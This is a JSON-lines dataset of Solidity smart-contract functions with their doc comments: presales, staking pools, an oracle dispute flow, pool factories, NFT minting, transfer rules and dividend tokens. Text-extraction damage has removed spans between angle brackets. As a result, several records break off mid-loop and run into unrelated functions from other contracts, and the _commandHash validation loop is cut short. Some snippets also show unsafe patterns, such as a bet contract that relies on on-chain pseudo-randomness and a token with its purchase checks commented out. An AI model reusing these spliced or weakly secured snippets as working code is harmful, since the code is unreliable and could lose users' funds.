final_distribution_balance.mul(piece).div(pointfix);\r\n \r\n if (value > 0) {\r\n _is_final_withdraw[_participants[i]] = true;\r\n (bool success,) = _participants[i].call{value : value}(\"\");\r\n require(success, \"Transfer failed\");\r\n emit LogWithdrawETH(_participants[i], value);\r\n }\r\n }\r\n\r\n }", "version": "0.7.6"} {"comment": "// this method reverts the current phase to the previous one", "function_code": "function revertPhase() external selfCall {\r\n uint256 i = getCurrentPhaseIndex();\r\n\r\n require(i > 0, \"Initialize phase is already active\");\r\n\r\n phases[i].IS_STARTED = false;\r\n phases[i].IS_FINISHED = false;\r\n\r\n phases[i - 1].IS_STARTED = true;\r\n phases[i - 1].IS_FINISHED = false;\r\n }", "version": "0.7.6"} {"comment": "/* Buying */", "function_code": "function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {\r\n if (_price < increaseLimit1) {\r\n return _price.mul(200).div(95);\r\n } else if (_price < increaseLimit2) {\r\n return _price.mul(135).div(96);\r\n } else if (_price < increaseLimit3) {\r\n return _price.mul(125).div(97);\r\n } else if (_price < increaseLimit4) {\r\n return _price.mul(117).div(97);\r\n } else {\r\n return _price.mul(115).div(98);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Create presale contract where lock up period is given days\r\n */", "function_code": "function PresaleFundCollector(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {\r\n\r\n owner = _owner;\r\n\r\n // Give argument\r\n if(_freezeEndsAt == 0) {\r\n throw;\r\n }\r\n\r\n // Give argument\r\n if(_weiMinimumLimit == 0) {\r\n throw;\r\n }\r\n\r\n weiMinimumLimit = _weiMinimumLimit;\r\n freezeEndsAt = _freezeEndsAt;\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * Participate to a presale.\r\n */", "function_code": "function invest() public payable {\r\n\r\n // Cannot invest anymore through crowdsale when moving has begun\r\n if(moving) throw;\r\n\r\n address investor = msg.sender;\r\n\r\n bool existing = balances[investor] > 0;\r\n\r\n balances[investor] = balances[investor].plus(msg.value);\r\n\r\n // Need to fulfill minimum limit\r\n if(balances[investor] < weiMinimumLimit) {\r\n throw;\r\n }\r\n\r\n // This is a new investor\r\n if(!existing) {\r\n\r\n // Limit number of investors to prevent too long loops\r\n if(investorCount >= MAX_INVESTORS) throw;\r\n\r\n investors.push(investor);\r\n investorCount++;\r\n }\r\n\r\n Invested(investor, msg.value);\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * Load funds to the crowdsale for all investor.\r\n *\r\n */", "function_code": "function parcipateCrowdsaleAll() public {\r\n\r\n // We might hit a max gas limit in this loop,\r\n // and in this case you can simply call parcipateCrowdsaleInvestor() for all investors\r\n for(uint i=0; i _startBlock ? block.number : _startBlock;\n farmInfo.lpToken = _lpToken;\n farmInfo.lastRewardBlock = lastRewardBlock;\n farmInfo.accRewardPerShare = 0;\n\n farmInfo.endBlock = _endBlock;\n farmInfo.farmableSupply = _amount;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Mint pool shares for a given stake amount\n * @param _stakeAmount The amount of underlying to stake\n * @return shares The number of pool shares minted\n */", "function_code": "function mint(uint256 _stakeAmount) external returns (uint256 shares) {\n require(\n stakedToken.allowance(msg.sender, address(this)) >= _stakeAmount,\n \"mint: insufficient allowance\"\n );\n\n // Grab the pre-deposit balance and shares for comparison\n uint256 oldBalance = stakedToken.balanceOf(address(this));\n uint256 oldShares = totalSupply();\n\n // Pull user's tokens into the pool\n stakedToken.safeTransferFrom(msg.sender, address(this), _stakeAmount);\n\n // Calculate the fee for minting\n uint256 fee = (_stakeAmount * mintFee) / 1e18;\n if (fee != 0) {\n stakedToken.safeTransfer(feePayee, fee);\n _stakeAmount -= fee;\n emit Fee(fee);\n }\n\n // Calculate the pool shares for the new deposit\n if (oldShares != 0) {\n // shares = stake * oldShares / oldBalance\n shares = (_stakeAmount * oldShares) / oldBalance;\n } else {\n // if no shares exist, just assign 1,000 shares (it's arbitrary)\n shares = 10**3;\n }\n\n // Transfer shares to caller\n _mint(msg.sender, shares);\n emit Deposit(msg.sender, _stakeAmount, shares);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Burn some pool shares and claim the underlying tokens\n * @param _shareAmount The number of shares to burn\n * @return tokens The number of underlying tokens returned\n */", "function_code": "function burn(uint256 _shareAmount) external returns (uint256 tokens) {\n require(balanceOf(msg.sender) >= _shareAmount, \"burn: insufficient shares\");\n\n // TODO: Extract\n // Calculate the user's share of the underlying balance\n uint256 balance = stakedToken.balanceOf(address(this));\n tokens = (_shareAmount * balance) / totalSupply();\n\n // Burn the caller's shares before anything else\n _burn(msg.sender, _shareAmount);\n\n // Calculate the fee for burning\n uint256 fee = getBurnFee(tokens);\n if (fee != 0) {\n tokens -= fee;\n stakedToken.safeTransfer(feePayee, fee);\n emit Fee(fee);\n }\n\n // Transfer underlying tokens back to caller\n stakedToken.safeTransfer(msg.sender, tokens);\n emit Payout(msg.sender, tokens, _shareAmount);\n }", "version": "0.8.9"} {"comment": "/**\n * @notice emergency functoin to withdraw LP tokens and forego harvest rewards. Important to protect users LP tokens\n */", "function_code": "function emergencyWithdraw() public {\n address msgSender = _msgSender();\n UserInfo storage user = userInfo[msgSender];\n farmInfo.lpToken.safeTransfer(address(msgSender), user.amount);\n emit EmergencyWithdraw(msgSender, user.amount);\n if (user.amount > 0) {\n factory.userLeftFarm(msgSender);\n farmInfo.numFarmers = farmInfo.numFarmers.sub(1);\n }\n user.amount = 0;\n user.rewardDebt = 0;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Relay an index update that has been signed by an authorized proposer.\n * The signature provided must satisfy two criteria:\n * (1) the signature must be a valid EIP-712 signature for the proposal; and\n * (2) the signer must have the \"PROPOSER\" role.\n * @notice See https://docs.ethers.io/v5/api/signer/#Signer-signTypedData\n * @param relayed The relayed proposal\n * @param signature An EIP-712 signature for the proposal\n * @param signer The address of the EIP-712 signature provider\n * @return bond The bond amount claimable via successful dispute\n * @return proposalId The unique ID of the proposal\n * @return expiresAt The time at which the proposal is no longer disputable\n */", "function_code": "function relay(\n Proposal calldata relayed,\n bytes calldata signature,\n address signer\n )\n external\n onlySignedProposals(relayed, signature, signer)\n returns (\n uint256 bond,\n bytes32 proposalId,\n uint32 expiresAt\n )\n {\n proposalId = _proposalId(relayed.timestamp, relayed.value, relayed.data);\n require(proposal[proposalId].timestamp == 0, \"duplicate proposal\");\n\n Index storage _index = index[relayed.indexId];\n require(_index.disputesOutstanding < 3, \"index ineligible for proposals\");\n require(\n _index.lastUpdated < relayed.timestamp,\n \"must be later than most recent proposal\"\n );\n\n bond = _index.bondAmount;\n expiresAt = uint32(block.timestamp) + _index.disputePeriod;\n\n proposal[proposalId] = relayed;\n _index.lastUpdated = relayed.timestamp;\n\n _issueRewards(relayed.indexId, msg.sender);\n emit Relayed(relayed.indexId, proposalId, relayed, msg.sender, bond);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Disputes a proposal prior to its expiration. This causes a bond to be\n * posted on behalf of DAOracle stakers and an equal amount to be pulled from\n * the caller.\n * @notice This actually requests, proposes, and disputes with UMA's SkinnyOO\n * which sends the bonds and disputed proposal to UMA's DVM for settlement by\n * way of governance vote. Voters follow the specification of the DAOracle's\n * approved UMIP to determine the correct value. Once the outcome is decided,\n * the SkinnyOO will callback to this contract's `priceSettled` function.\n * @param proposalId the identifier of the proposal being disputed\n */", "function_code": "function dispute(bytes32 proposalId) external {\n Proposal storage _proposal = proposal[proposalId];\n Index storage _index = index[_proposal.indexId];\n\n require(proposal[proposalId].timestamp != 0, \"proposal doesn't exist\");\n require(\n !isDisputed[proposalId] &&\n block.timestamp < proposal[proposalId].timestamp + _index.disputePeriod,\n \"proposal already disputed or expired\"\n );\n isDisputed[proposalId] = true;\n\n _index.dispute(_proposal, oracle, externalIdentifier);\n emit Disputed(_proposal.indexId, proposalId, msg.sender);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev External callback for UMA's SkinnyOptimisticOracle. Fired whenever a\n * disputed proposal has been settled by the DVM, regardless of outcome.\n * @notice This is always called by the UMA SkinnyOO contract, not an EOA.\n * @param - identifier, ignored\n * @param timestamp The timestamp of the proposal\n * @param ancillaryData The data field from the proposal\n * @param request The entire SkinnyOptimisticOracle Request object\n */", "function_code": "function priceSettled(\n bytes32, /** identifier */\n uint32 timestamp,\n bytes calldata ancillaryData,\n SkinnyOptimisticOracleInterface.Request calldata request\n ) external onlyRole(ORACLE) {\n bytes32 id = _proposalId(\n timestamp,\n request.proposedPrice,\n bytes32(ancillaryData)\n );\n Proposal storage relayed = proposal[id];\n Index storage _index = index[relayed.indexId];\n\n _index.bondsOutstanding -= request.bond;\n _index.disputesOutstanding--;\n isDisputed[id] = false;\n\n if (relayed.value != request.resolvedPrice) {\n // failed proposal, slash pool to recoup lost bond\n pool[request.currency].slash(_index.bondAmount, address(this));\n } else {\n // successful proposal, return bond to sponsor\n request.currency.safeTransfer(_index.sponsor, request.bond);\n\n // sends the rest of the funds received to the staking pool\n request.currency.safeTransfer(\n address(pool[request.currency]),\n request.currency.balanceOf(address(this))\n );\n }\n\n emit Settled(relayed.indexId, id, relayed.value, request.resolvedPrice);\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Adds or updates a index. Can only be called by managers.\n * @param bondToken The token to be used for bonds\n * @param bondAmount The quantity of tokens to offer for bonds\n * @param indexId The price index identifier\n * @param disputePeriod The proposal dispute window\n * @param floor The starting portion of rewards payable to reporters\n * @param ceiling The maximum portion of rewards payable to reporters\n * @param tilt The rate of change from floor to ceiling per second\n * @param drop The number of reward tokens to drip (per second)\n * @param creatorAmount The portion of rewards payable to the methodologist\n * @param creatorAddress The recipient of the methodologist's rewards\n * @param sponsor The provider of funding for bonds and rewards\n */", "function_code": "function configureIndex(\n IERC20 bondToken,\n uint256 bondAmount,\n bytes32 indexId,\n uint32 disputePeriod,\n uint64 floor,\n uint64 ceiling,\n uint64 tilt,\n uint256 drop,\n uint64 creatorAmount,\n address creatorAddress,\n address sponsor\n ) external onlyRole(MANAGER) {\n Index storage _index = index[indexId];\n\n _index.bondToken = bondToken;\n _index.bondAmount = bondAmount;\n _index.lastUpdated = _index.lastUpdated == 0\n ? uint32(block.timestamp)\n : _index.lastUpdated;\n\n _index.drop = drop;\n _index.ceiling = ceiling;\n _index.tilt = tilt;\n _index.floor = floor;\n _index.creatorAmount = creatorAmount;\n _index.creatorAddress = creatorAddress;\n _index.disputePeriod = disputePeriod == 0\n ? defaultDisputePeriod\n : disputePeriod;\n _index.sponsor = sponsor == address(0)\n ? address(_index.deploySponsorPool())\n : sponsor;\n\n if (address(pool[bondToken]) == address(0)) {\n _createPool(_index);\n }\n\n emit IndexConfigured(indexId, bondToken);\n }", "version": "0.8.9"} {"comment": "/**\n * @notice handle approvals of tokens that require approving from a base of 0\n * @param token - the token we're approving\n * @param spender - entity the owner (sender) is approving to spend his tokens\n * @param amount - number of tokens being approved\n */", "function_code": "function safeApprove(IERC20 token, address spender, uint amount) internal returns (bool) {\n uint currentAllowance = token.allowance(address(this), spender);\n\n // Do nothing if allowance is already set to this value\n if(currentAllowance == amount) {\n return true;\n }\n\n // If approval is not zero reset it to zero first\n if(currentAllowance != 0) {\n return token.approve(spender, 0);\n }\n\n // do the actual approval\n return token.approve(spender, amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Create a new CRP\n * @dev emits a LogNewCRP event\n * @param factoryAddress - the BFactory instance used to create the underlying pool\n * @param poolParams - struct containing the names, tokens, weights, balances, and swap fee\n * @param rights - struct of permissions, configuring this CRP instance (see above for definitions)\n */", "function_code": "function newCrp(\n address factoryAddress,\n ConfigurableRightsPool.PoolParams calldata poolParams,\n RightsManager.Rights calldata rights\n )\n external\n returns (ConfigurableRightsPool)\n {\n require(poolParams.constituentTokens.length >= BalancerConstants.MIN_ASSET_LIMIT, \"ERR_TOO_FEW_TOKENS\");\n\n // Arrays must be parallel\n require(poolParams.tokenBalances.length == poolParams.constituentTokens.length, \"ERR_START_BALANCES_MISMATCH\");\n require(poolParams.tokenWeights.length == poolParams.constituentTokens.length, \"ERR_START_WEIGHTS_MISMATCH\");\n\n ConfigurableRightsPool crp = new ConfigurableRightsPool(\n factoryAddress,\n poolParams,\n rights\n );\n\n emit LogNewCrp(msg.sender, address(crp));\n\n _isCrp[address(crp)] = true;\n // The caller is the controller of the CRP\n // The CRP will be the controller of the underlying Core BPool\n crp.setController(msg.sender);\n\n return crp;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Create a new ESP\n * @dev emits a LogNewESP event\n * @param factoryAddress - the BFactory instance used to create the underlying pool\n * @param poolParams - CRP pool parameters\n * @param rights - struct of permissions, configuring this CRP instance (see above for definitions)\n */", "function_code": "function newEsp(\n address factoryAddress,\n ConfigurableRightsPool.PoolParams calldata poolParams,\n RightsManager.Rights calldata rights\n )\n external\n returns (ElasticSupplyPool)\n {\n require(poolParams.constituentTokens.length >= BalancerConstants.MIN_ASSET_LIMIT, \"ERR_TOO_FEW_TOKENS\");\n\n // Arrays must be parallel\n require(poolParams.tokenBalances.length == poolParams.constituentTokens.length, \"ERR_START_BALANCES_MISMATCH\");\n require(poolParams.tokenWeights.length == poolParams.constituentTokens.length, \"ERR_START_WEIGHTS_MISMATCH\");\n\n ElasticSupplyPool esp = new ElasticSupplyPool(\n factoryAddress,\n poolParams,\n rights\n );\n\n emit LogNewEsp(msg.sender, address(esp));\n\n _isEsp[address(esp)] = true;\n esp.setController(msg.sender);\n\n return esp;\n }", "version": "0.6.12"} {"comment": "/**\n * Command Hash helper.\n *\n * Accepts alphanumeric characters, hyphens, periods, and underscores.\n * Returns a keccak256 hash of the lowercase command.\n */", "function_code": "function _commandHash(string memory str) private pure returns (bytes32){\n bytes memory b = bytes(str);\n\n for (uint i; i= 0x30 && char <= 0x39) || //0-9\n (char >= 0x41 && char <= 0x5A) || //A-Z\n (char >= 0x61 && char <= 0x7A) || //a-z\n (char == 0x2D) || //-\n (char == 0x2E) || //.\n (char == 0x5F) //_\n , \"Command contains invalid characters.\");\n }\n\n bytes memory bLower = new bytes(b.length);\n\n for (uint i = 0; i < b.length; i++) {\n if ((uint8(b[i]) >= 65) && (uint8(b[i]) <= 90)) {\n // Uppercase character\n bLower[i] = bytes1(uint8(b[i]) + 32);\n } else {\n bLower[i] = b[i];\n }\n }\n\n return keccak256(abi.encode(string(bLower)));\n }", "version": "0.8.7"} {"comment": "/**\n * Update a command.\n *\n * Requires ownership of token.\n */", "function_code": "function update(string memory _command, string memory _tokenURI) public {\n bytes32 _cmd = _commandHash(_command);\n uint tokenID = _commands[_cmd];\n require(tokenID > 0, \"Command not found.\");\n require(ownerOf(tokenID) == msg.sender, \"Only the owner can update the token.\");\n require(!_frozen[tokenID], \"Token is frozen and cannot be updated.\");\n\n _setTokenURI(tokenID, _tokenURI);\n }", "version": "0.8.7"} {"comment": "/**\n * Freeze a command.\n *\n * Requires ownership of token.\n */", "function_code": "function freeze(string memory _command) public {\n bytes32 _cmd = _commandHash(_command);\n uint tokenID = _commands[_cmd];\n require(tokenID > 0, \"Command not found.\");\n require(ownerOf(tokenID) == msg.sender, \"Only the owner can freeze the token.\");\n require(!_frozen[tokenID], \"Already frozen.\");\n\n _frozen[tokenID] = true;\n }", "version": "0.8.7"} {"comment": "// # Minting Helpers", "function_code": "function _safeMintQuantity(address to, uint quantity) private {\n uint fromTokenId = _totalMintedCount + 1;\n uint toTokenId = _totalMintedCount + quantity + 1;\n _totalMintedCount += quantity;\n for (uint i = fromTokenId; i < toTokenId; i++) {\n _safeMint(to, i);\n }\n }", "version": "0.8.4"} {"comment": "// # Sale Mint", "function_code": "function presaleMint(uint[] calldata sacredDevilTokenIds, address to) external\n {\n uint quantity = sacredDevilTokenIds.length;\n _requireNotSoldOut();\n require( \n // solhint-disable-next-line not-rely-on-time\n block.timestamp < PUBLIC_SALE_OPEN_TIME,\n \"Presale has ended\"\n );\n _requireSaleNotPaused();\n _requireValidQuantity(quantity);\n _requireEnoughSupplyRemaining(quantity);\n // Check the caller passed Sacred Devil token IDs that\n // - Caller owns the corresponding Sacred Devil tokens\n // - The Sacred Devil token ID has not been used before\n for (uint i = 0; i < quantity; i++) {\n uint256 sdTokenId = sacredDevilTokenIds[i];\n address ownerOfSDToken = IERC721(DEVILS_CONTRACT_ADDRESS).ownerOf(sdTokenId);\n require(\n ownerOfSDToken == msg.sender,\n string(abi.encodePacked(\"You do not own LOSD#\", Strings.toString(sdTokenId)))\n );\n require(\n claimedDevils[sdTokenId] == false,\n string(abi.encodePacked(\"Already minted with LOSD#\", Strings.toString(sdTokenId)))\n );\n claimedDevils[sdTokenId] = true;\n }\n _saleMintedCount += quantity;\n _safeMintQuantity(to, quantity);\n }", "version": "0.8.4"} {"comment": "// Mint new token(s)", "function_code": "function mint(uint8 _quantityToMint) public payable {\r\n require(_startDate <= block.timestamp || (block.timestamp >= _whitelistStartDate && _whitelisted[msg.sender] == true), block.timestamp <= _whitelistStartDate ? \"Sale is not open\" : \"Not whitelisted\");\r\n require(_quantityToMint >= 1, \"Must mint at least 1\");\r\n require(block.timestamp >= _whitelistStartDate && block.timestamp <= _startDate ? (_quantityToMint + balanceOf(msg.sender) <= 4) : true, \"Whitelisted mints are limited to 4 per wallet\");\r\n require(\r\n _quantityToMint <= getCurrentMintLimit(),\r\n \"Maximum current buy limit for individual transaction exceeded\"\r\n );\r\n require(\r\n (_quantityToMint + totalSupply()) <= maxSupply,\r\n \"Exceeds maximum supply\"\r\n );\r\n require(\r\n msg.value == (getCurrentPrice() * _quantityToMint),\r\n \"Ether submitted does not match current price\"\r\n );\r\n\r\n for (uint8 i = 0; i < _quantityToMint; i++) {\r\n _tokenIds.increment();\r\n\r\n uint256 newItemId = _tokenIds.current();\r\n _mint(msg.sender, newItemId);\r\n }\r\n }", "version": "0.8.3"} {"comment": "// Withdraw ether from contract", "function_code": "function withdraw() public onlyOwner {\r\n require(address(this).balance > 0, \"Balance must be positive\");\r\n \r\n uint256 _balance = address(this).balance;\r\n address _coldWallet = 0x9781F65af8324b40Ee9Ca421ea963642Bc8a8C2b;\r\n payable(_coldWallet).transfer((_balance * 9)/10);\r\n \r\n address _devWallet = 0x3097617CbA85A26AdC214A1F87B680bE4b275cD0;\r\n payable(_devWallet).transfer((_balance * 1)/10);\r\n }", "version": "0.8.3"} {"comment": "/**\r\n * Same as buy, but explicitly sets your dividend percentage.\r\n * If this has been called before, it will update your `default' dividend\r\n * percentage for regular buy transactions going forward.\r\n */", "function_code": "function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string providedUnhashedPass)\r\n public\r\n payable\r\n returns (uint)\r\n {\r\n require(icoPhase || regularPhase);\r\n\r\n if (icoPhase) {\r\n \r\n // Anti-bot measures - not perfect, but should help some.\r\n bytes32 hashedProvidedPass = keccak256(providedUnhashedPass);\r\n // require(hashedProvidedPass == icoHashedPass || msg.sender == bankrollAddress);\r\n\r\n uint gasPrice = tx.gasprice;\r\n\r\n // Prevents ICO buyers from getting substantially burned if the ICO is reached\r\n // before their transaction is processed.\r\n \r\n //require(gasPrice <= icoMaxGasPrice && ethInvestedDuringICO <= icoHardCap);\r\n\r\n }\r\n\r\n // Dividend percentage should be a currently accepted value.\r\n require (validDividendRates_[_divChoice]);\r\n\r\n // Set the dividend fee percentage denominator.\r\n userSelectedRate[msg.sender] = true;\r\n userDividendRate[msg.sender] = _divChoice;\r\n emit UserDividendRate(msg.sender, _divChoice);\r\n\r\n // Finally, purchase tokens.\r\n purchaseTokens(msg.value, _referredBy);\r\n }", "version": "0.4.24"} {"comment": "// Overload", "function_code": "function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice)\r\n public\r\n payable\r\n {\r\n require(regularPhase);\r\n address _customerAddress = msg.sender;\r\n uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender];\r\n if (userSelectedRate[_customerAddress] && divChoice == 0) {\r\n purchaseTokens(msg.value, _referredBy);\r\n } else {\r\n buyAndSetDivPercentage(_referredBy, divChoice, \"0x0\");\r\n }\r\n uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance);\r\n transferTo(msg.sender, target, difference, _data);\r\n }", "version": "0.4.24"} {"comment": "// Fallback function only works during regular phase - part of anti-bot protection.", "function_code": "function()\r\n payable\r\n public\r\n {\r\n /**\r\n / If the user has previously set a dividend rate, sending\r\n / Ether directly to the contract simply purchases more at\r\n / the most recent rate. If this is their first time, they\r\n / are automatically placed into the 20% rate `bucket'.\r\n **/\r\n require(regularPhase);\r\n address _customerAddress = msg.sender;\r\n if (userSelectedRate[_customerAddress]) {\r\n purchaseTokens(msg.value, 0x0);\r\n } else {\r\n buyAndSetDivPercentage(0x0, 20, \"0x0\");\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Transfer tokens from the caller to a new holder: the Used By Smart Contracts edition.\r\n * No charge incurred for the transfer. No seriously, we'd make a terrible bank.\r\n */", "function_code": "function transferFrom(address _from, address _toAddress, uint _amountOfTokens)\r\n public\r\n returns(bool)\r\n {\r\n // Setup variables\r\n address _customerAddress = _from;\r\n bytes memory empty;\r\n // Make sure we own the tokens we're transferring, are ALLOWED to transfer that many tokens,\r\n // and are transferring at least one full token.\r\n require(_amountOfTokens >= MIN_TOKEN_TRANSFER\r\n && _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress]\r\n && _amountOfTokens <= allowed[_customerAddress][msg.sender]);\r\n\r\n transferFromInternal(_from, _toAddress, _amountOfTokens, empty);\r\n\r\n // Good old ERC20.\r\n return true;\r\n\r\n }", "version": "0.4.24"} {"comment": "// Get the sell price at the user's average dividend rate", "function_code": "function sellPrice()\r\n public\r\n view\r\n returns(uint)\r\n {\r\n uint price;\r\n\r\n if (icoPhase || currentEthInvested < ethInvestedDuringICO) {\r\n price = tokenPriceInitial_;\r\n } else {\r\n\r\n // Calculate the tokens received for 100 finney.\r\n // Divide to find the average, to calculate the price.\r\n uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);\r\n\r\n price = (1e18 * 0.001 ether) / tokensReceivedForEth;\r\n }\r\n\r\n // Factor in the user's average dividend rate\r\n uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude));\r\n\r\n return theSellPrice;\r\n }", "version": "0.4.24"} {"comment": "// Get the buy price at a particular dividend rate", "function_code": "function buyPrice(uint dividendRate)\r\n public\r\n view\r\n returns(uint)\r\n {\r\n uint price;\r\n\r\n if (icoPhase || currentEthInvested < ethInvestedDuringICO) {\r\n price = tokenPriceInitial_;\r\n } else {\r\n\r\n // Calculate the tokens received for 100 finney.\r\n // Divide to find the average, to calculate the price.\r\n uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);\r\n\r\n price = (1e18 * 0.001 ether) / tokensReceivedForEth;\r\n }\r\n\r\n // Factor in the user's selected dividend rate\r\n uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price);\r\n\r\n return theBuyPrice;\r\n }", "version": "0.4.24"} {"comment": "// Called from transferFrom. Always checks if _customerAddress has dividends.", "function_code": "function withdrawFrom(address _customerAddress)\r\n internal\r\n {\r\n // Setup data\r\n uint _dividends = theDividendsOf(false, _customerAddress);\r\n\r\n // update dividend tracker\r\n payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);\r\n\r\n // add ref. bonus\r\n _dividends += referralBalance_[_customerAddress];\r\n referralBalance_[_customerAddress] = 0;\r\n\r\n _customerAddress.transfer(_dividends);\r\n\r\n // Fire logging event.\r\n emit onWithdraw(_customerAddress, _dividends);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Compute differ payment.\n * @param _ethAmount The amount of ETH entitled by the client.\n * @param _ethBalance The amount of ETH retained by the payment handler.\n * @return The amount of differed ETH payment.\n */", "function_code": "function computeDifferPayment(uint256 _ethAmount, uint256 _ethBalance) external view returns (uint256) {\n if (getPaymentQueue().getNumOfPayments() > 0)\n return _ethAmount;\n else if (_ethAmount > _ethBalance)\n return _ethAmount - _ethBalance; // will never underflow\n else\n return 0;\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Settle payments by chronological order of registration.\n * @param _maxNumOfPayments The maximum number of payments to handle.\n */", "function_code": "function settlePayments(uint256 _maxNumOfPayments) external {\n require(getSGRAuthorizationManager().isAuthorizedForPublicOperation(msg.sender), \"settle payments is not authorized\");\n IETHConverter ethConverter = getETHConverter();\n IPaymentHandler paymentHandler = getPaymentHandler();\n IPaymentQueue paymentQueue = getPaymentQueue();\n\n uint256 numOfPayments = paymentQueue.getNumOfPayments();\n numOfPayments = numOfPayments.min(_maxNumOfPayments).min(maxNumOfPaymentsLimit);\n\n for (uint256 i = 0; i < numOfPayments; i++) {\n (address wallet, uint256 sdrAmount) = paymentQueue.getPayment(0);\n uint256 ethAmount = ethConverter.toEthAmount(sdrAmount);\n uint256 ethBalance = paymentHandler.getEthBalance();\n if (ethAmount > ethBalance) {\n paymentQueue.updatePayment(ethConverter.fromEthAmount(ethAmount - ethBalance)); // will never underflow\n paymentHandler.transferEthToSgrHolder(wallet, ethBalance);\n emit PaymentPartialSettled(wallet, sdrAmount, ethBalance);\n break;\n }\n paymentQueue.removePayment();\n paymentHandler.transferEthToSgrHolder(wallet, ethAmount);\n emit PaymentSettled(wallet, sdrAmount, ethAmount);\n }\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Set for what contract this rules are.\r\n *\r\n * @param src20 - Address of src20 contract.\r\n */", "function_code": "function setSRC(address src20) override external returns (bool) {\r\n require(doTransferCaller == address(0), \"external contract already set\");\r\n require(address(_src20) == address(0), \"external contract already set\");\r\n require(src20 != address(0), \"src20 can not be zero\");\r\n doTransferCaller = _msgSender();\r\n _src20 = src20;\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Do transfer and checks where funds should go. If both from and to are\r\n * on the whitelist funds should be transferred but if one of them are on the\r\n * grey list token-issuer/owner need to approve transfer.\r\n *\r\n * param from The address to transfer from.\r\n * param to The address to send tokens to.\r\n * @param value The amount of tokens to send.\r\n */", "function_code": "function doTransfer(address from, address to, uint256 value) override external onlyDoTransferCaller returns (bool) {\r\n (from,to,value) = _doTransfer(from, to, value);\r\n if (isChainExists()) {\r\n require(ITransferRules(chainRuleAddr).doTransfer(msg.sender, to, value), \"chain doTransfer failed\");\r\n } else {\r\n //_transfer(msg.sender, to, value);\r\n require(ISRC20(_src20).executeTransfer(from, to, value), \"SRC20 transfer failed\");\r\n }\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "//---------------------------------------------------------------------------------\n// private section\n//---------------------------------------------------------------------------------", "function_code": "function _tryExternalSetSRC(address chainAddr) private returns (bool) {\r\n try ITransferRules(chainAddr).setSRC(_src20) returns (bool) {\r\n return (true);\r\n } catch Error(string memory /*reason*/) {\r\n // This is executed in case\r\n // revert was called inside getData\r\n // and a reason string was provided.\r\n \r\n return (false);\r\n } catch (bytes memory /*lowLevelData*/) {\r\n // This is executed in case revert() was used\r\n // or there was a failing assertion, division\r\n // by zero, etc. inside getData.\r\n \r\n return (false);\r\n }\r\n \r\n }", "version": "0.8.7"} {"comment": "/**\r\n * init internal\r\n */", "function_code": "function __SimpleTransferRule_init(\r\n ) \r\n internal\r\n initializer \r\n {\r\n __BaseTransferRule_init();\r\n //uniswapV2Pair = 0x03B0da178FecA0b0BBD5D76c431f16261D0A76aa;\r\n uniswapV2Pairs.push(0x03B0da178FecA0b0BBD5D76c431f16261D0A76aa);\r\n \r\n _src20 = 0x6Ef5febbD2A56FAb23f18a69d3fB9F4E2A70440B;\r\n \r\n normalValueRatio = 10;\r\n \r\n // 6 months;\r\n dayInSeconds = 86400;\r\n lockupPeriod = dayInSeconds.mul(180);\r\n \r\n isTrading = 1;\r\n isTransfers = 1;\r\n \r\n }", "version": "0.8.7"} {"comment": "// receive gambler's money and start betting", "function_code": "function () payable {\r\n require(msg.value >= minbet);\r\n require(msg.value <=maxbet);\r\n require(this.balance >= msg.value*2);\r\n \r\n luckynum = _getrand09();\r\n if (luckynum < 5) {\r\n uint winvalue = msg.value*2*(10000-190)/10000;\r\n YouWin(msg.sender, msg.value, winvalue);\r\n msg.sender.transfer(winvalue);\r\n winlose = 'win';\r\n }\r\n else{\r\n YouLose(msg.sender, msg.value);\r\n msg.sender.transfer(1);\r\n winlose = 'lose';\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * amount that locked up for `addr` in `currentTime`\r\n */", "function_code": "function _minimumsGet(\r\n address addr,\r\n uint256 currentTime\r\n ) \r\n internal \r\n view\r\n returns (uint256) \r\n {\r\n \r\n uint256 minimum = 0;\r\n uint256 c = _minimums[addr].length;\r\n uint256 m;\r\n \r\n for (uint256 i=0; i currentTime || \r\n _minimums[addr][i].endTime < currentTime \r\n ) {\r\n continue;\r\n }\r\n \r\n m = _minimums[addr][i].amount;\r\n if (_minimums[addr][i].gradual) {\r\n m = m.mul(_minimums[addr][i].endTime.sub(currentTime)).div(_minimums[addr][i].endTime.sub(_minimums[addr][i].startTime));\r\n }\r\n minimum = minimum.add(m);\r\n }\r\n return minimum;\r\n }", "version": "0.8.7"} {"comment": "// FUNCTIONS", "function_code": "function BOXToken() public {\r\n balances[msg.sender] = TOTAL_SUPPLY;\r\n totalSupply = TOTAL_SUPPLY;\r\n\r\n // do the distribution of the token, in token transfer\r\n transfer(WALLET_ECOSYSTEM, ALLOC_ECOSYSTEM);\r\n transfer(WALLET_FOUNDATION, ALLOC_FOUNDATION);\r\n transfer(WALLET_TEAM, ALLOC_TEAM);\r\n transfer(WALLET_PARTNER, ALLOC_PARTNER);\r\n transfer(WALLET_SALE, ALLOC_SALE);\r\n }", "version": "0.4.18"} {"comment": "// get contributors' 